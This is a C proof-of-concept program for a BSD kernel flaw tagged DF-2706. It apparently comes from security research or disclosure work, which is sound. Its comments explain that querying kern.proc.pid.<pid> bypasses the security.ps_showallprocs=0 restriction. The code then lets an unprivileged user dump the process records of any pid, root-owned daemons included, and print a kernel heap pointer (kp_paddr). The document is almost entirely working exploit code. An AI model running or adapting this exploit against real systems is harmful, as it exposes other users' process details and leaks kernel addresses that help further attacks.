DF-2706 / pidsnoop.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 | /* * DF-2706 PoC: kern.proc.pid.<pid> bypasses security.ps_showallprocs=0 * * sysctl_kern_proc() (sys/kern/kern_proc.c:1686-1694) fast path for * KERN_PROC_PID applies only PRISON_CHECK(), while every other selector * flows through the "ps_showallprocs == 0 -> p_trespass()" gate at * kern_proc.c:1715-1721. With the knob at 0 an unprivileged user still * gets the full struct kinfo_proc of ANY pid (root daemons included) by * querying kern.proc.pid.<pid> directly. * * usage: pidsnoop <pid> - dump kinfo_proc of <pid> via kern.proc.pid * pidsnoop -all - count records visible via kern.proc.all * pidsnoop -uid <uid> - count records visible via kern.proc.uid * * Expected on a vulnerable kernel with security.ps_showallprocs=0, * run as unprivileged user, target = root-owned process: * kern.proc.pid.<pid> -> 1 record, kp_comm = target name (BYPASS) * kern.proc.all -> 0 records (gated) * kern.proc.uid.0 -> 0 records (gated) */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/kinfo.h> #include <err.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int query_list_mib(const char *node, int tail, void **outp, size_t *lenp) { int mib[CTL_MAXNAME]; size_t miblen = CTL_MAXNAME; void *buf; size_t len = 0; if (sysctlnametomib(node, mib, &miblen) != 0) errx(1, "sysctlnametomib(%s): %s", node, strerror(errno)); mib[miblen++] = tail; if (sysctl(mib, miblen, NULL, &len, NULL, 0) != 0) { *outp = NULL; *lenp = 0; return (-1); } if (len == 0) { *outp = NULL; *lenp = 0; return (0); } buf = malloc(len); if (buf == NULL) err(1, "malloc"); if (sysctl(mib, miblen, buf, &len, NULL, 0) != 0) err(1, "sysctl read %s.%d", node, tail); *outp = buf; *lenp = len; return (0); } static void dump_pid(int pid) { struct kinfo_proc *ki; size_t len; printf("kern.proc.pid.%-16d", pid); if (query_list_mib("kern.proc.pid", pid, (void **)&ki, &len) != 0) { printf(" -> probe error: %s\n", strerror(errno)); return; } if (len == 0) { printf(" -> 0 records (NOT VISIBLE)\n"); return; } printf(" -> %zu record(s)\n", len / sizeof(struct kinfo_proc)); for (size_t i = 0; i < len / sizeof(struct kinfo_proc); i++) { printf(" [rec %zu] pid=%d ppid=%d uid=%u pgid=%d sid=%d comm=\"%s\"\n", i, ki[i].kp_pid, ki[i].kp_ppid, (unsigned)ki[i].kp_uid, ki[i].kp_pgid, ki[i].kp_sid, ki[i].kp_comm); } printf(" kp_paddr (kernel heap ptr, cf DF-0179/DF-0016) = 0x%llx\n", (unsigned long long)ki[0].kp_paddr); free(ki); } static void count_list(const char *name, int tail, int use_mib) { void *buf; size_t len = 0; printf("%-28s", tail >= 0 || use_mib ? name : name); if (use_mib) { char full[64]; snprintf(full, sizeof(full), "%s.%d", name, tail); printf("%-4s", ""); if (query_list_mib(name, tail, &buf, &len) != 0) { printf(" -> probe error: %s (0 records assumed)\n", strerror(errno)); return; } if (len == 0) { printf(" -> 0 records\n"); return; } } else { if (sysctlbyname(name, NULL, &len, NULL, 0) != 0) { printf(" -> size probe error: %s (0 records assumed)\n", strerror(errno)); return; } if (len == 0) { printf(" -> 0 records\n"); return; } buf = malloc(len); if (buf == NULL) err(1, "malloc"); if (sysctlbyname(name, buf, &len, NULL, 0) != 0) err(1, "sysctlbyname %s", name); } printf(" -> %zu record(s)\n", len / sizeof(struct kinfo_proc)); free(buf); } int main(int argc, char **argv) { printf("running as uid=%d euid=%d\n", getuid(), geteuid()); if (argc == 2 && strcmp(argv[1], "-all") == 0) { count_list("kern.proc.all", -1, 0); return (0); } if (argc == 3 && strcmp(argv[1], "-uid") == 0) { count_list("kern.proc.uid", atoi(argv[2]), 1); return (0); } if (argc == 2) { dump_pid(atoi(argv[1])); return (0); } fprintf(stderr, "usage: %s <pid> | -all | -uid <uid>\n", argv[0]); return (2); } |